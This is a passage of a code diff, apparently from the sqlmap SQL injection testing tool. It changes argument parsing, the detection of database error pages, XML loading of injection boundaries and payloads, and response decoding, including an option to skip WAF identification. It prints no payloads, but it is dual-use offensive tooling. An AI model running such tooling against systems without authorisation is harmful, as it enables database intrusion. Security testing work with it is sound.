elif argv[i] == "--disable-colouring":
argv[i] = "--disable-coloring"
elif argv[i] == "-r":
for j in xrange(i + 2, len(argv)):
value = argv[j]
@@ -973,7 +1016,7 @@ def cmdLineParser(argv=None):
for verbosity in (_ for _ in argv if re.search(r"\A\-v+\Z", _)):
try:
if argv.index(verbosity) == len(argv) - 1 or not argv[argv.index(verbosity) + 1].isdigit():
conf.verbose = verbosity.count('v') + 1
conf.verbose = verbosity.count('v')
del argv[argv.index(verbosity)]
except (IndexError, ValueError):
pass
@@ -1002,7 +1045,12 @@ def cmdLineParser(argv=None):
if args.dummy:
args.url = args.url or DUMMY_URL
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.fuzzTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile)):
if hasattr(sys.stdin, "fileno") and not os.isatty(sys.stdin.fileno()) and '-' not in sys.argv:
args.stdinPipe = iter(sys.stdin.readline, None)
else:
args.stdinPipe = None
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.bedTest, args.fuzzTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)):
errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --list-tampers, --wizard, --update, --purge or --dependencies). "
errMsg += "Use -h for basic and -hh for advanced help\n"
parser.error(errMsg)
+5 -5
View File
@@ -52,7 +52,7 @@ class HTMLHandler(ContentHandler):
keywords = sorted(keywords, key=len)
kb.cache.regex[regexp] = keywords[-1].lower()
if kb.cache.regex[regexp] in (self._lower_page or kb.cache.regex[regexp]) and re.search(regexp, self._urldecoded_page, re.I):
if ('|' in regexp or kb.cache.regex[regexp] in (self._lower_page or kb.cache.regex[regexp])) and re.search(regexp, self._urldecoded_page, re.I):
self.dbms = self._dbms
self._markAsErrorPage()
kb.forkNote = kb.forkNote or attrs.get("fork")
@@ -73,6 +73,10 @@ def htmlParser(page):
handler = HTMLHandler(page)
key = hash(page)
# generic SQL warning/error messages
if re.search(r"SQL (warning|error|syntax)", page, re.I):
handler._markAsErrorPage()
if key in kb.cache.parsedDbms:
retVal = kb.cache.parsedDbms[key]
if retVal:
@@ -89,8 +93,4 @@ def htmlParser(page):
kb.cache.parsedDbms[key] = handler.dbms
# generic SQL warning/error messages
if re.search(r"SQL (warning|error|syntax)", page, re.I):
handler._markAsErrorPage()
return handler.dbms
+24 -6
View File
@@ -41,10 +41,10 @@ def cleanupVals(text, tag):
return text
def parseXmlNode(node):
for element in node.getiterator("boundary"):
for element in node.findall("boundary"):
boundary = AttribDict()
for child in element.getchildren():
for child in element:
if child.text:
values = cleanupVals(child.text, child.tag)
boundary[child.tag] = values
@@ -53,21 +53,21 @@ def parseXmlNode(node):
conf.boundaries.append(boundary)
for element in node.getiterator("test"):
for element in node.findall("test"):
test = AttribDict()
for child in element.getchildren():
for child in element:
if child.text and child.text.strip():
values = cleanupVals(child.text, child.tag)
test[child.tag] = values
else:
if len(child.getchildren()) == 0:
if len(child.findall("*")) == 0:
test[child.tag] = None
continue
else:
test[child.tag] = AttribDict()
for gchild in child.getchildren():
for gchild in child:
if gchild.tag in test[child.tag]:
prevtext = test[child.tag][gchild.tag]
test[child.tag][gchild.tag] = [prevtext, gchild.text]
@@ -77,6 +77,15 @@ def parseXmlNode(node):
conf.tests.append(test)
def loadBoundaries():
"""
Loads boundaries from XML
>>> conf.boundaries = []
>>> loadBoundaries()
>>> len(conf.boundaries) > 0
True
"""
try:
doc = et.parse(paths.BOUNDARIES_XML)
except Exception as ex:
@@ -89,6 +98,15 @@ def loadBoundaries():
parseXmlNode(root)
def loadPayloads():
"""
Loads payloads/tests from XML
>>> conf.tests = []
>>> loadPayloads()
>>> len(conf.tests) > 0
True
"""
for payloadFile in PAYLOAD_XML_FILES:
payloadFilePath = os.path.join(paths.SQLMAP_XML_PAYLOADS_PATH, payloadFile)
+4 -3
View File
@@ -343,7 +343,8 @@ def decodePage(page, contentEncoding, contentType, percentDecode=True):
# e.g. %20%28%29
if percentDecode:
if b"%" in page:
page = re.sub(b"%([0-9a-fA-F]{2})", lambda _: decodeHex(_.group(1)), page)
page = re.sub(b"%([0-9a-f]{2})", lambda _: decodeHex(_.group(1)), page)
page = re.sub(b"%([0-9A-F]{2})", lambda _: decodeHex(_.group(1)), page) # Note: %DeepSee_SQL in CACHE
# e.g. &amp;
page = re.sub(b"&([^;]+);", lambda _: six.int2byte(HTML_ENTITIES[getText(_.group(1))]) if HTML_ENTITIES.get(getText(_.group(1)), 256) < 256 else _.group(0), page)
@@ -352,7 +353,7 @@ def decodePage(page, contentEncoding, contentType, percentDecode=True):
if (kb.pageEncoding or "").lower() == "utf-8-sig":
kb.pageEncoding = "utf-8"
if page and page.startswith("\xef\xbb\xbf"): # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling)
if page and page.startswith(b"\xef\xbb\xbf"): # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling)
page = page[3:]
page = getUnicode(page, kb.pageEncoding)
@@ -393,7 +394,7 @@ def processResponse(page, responseHeaders, code=None, status=None):
if msg:
logger.warning("parsed DBMS error message: '%s'" % msg.rstrip('.'))
if kb.processResponseCounter < IDENTYWAF_PARSE_LIMIT:
if not conf.skipWaf and kb.processResponseCounter < IDENTYWAF_PARSE_LIMIT:
rawResponse = "%s %s %s\n%s\n%s" % (_http_client.HTTPConnection._http_vsn_str, code or "", status or "", getUnicode("".join(responseHeaders.headers if responseHeaders else [])), page)
identYwaf.non_blind.clear()

Some files were not shown because too many files have changed in this diff Show More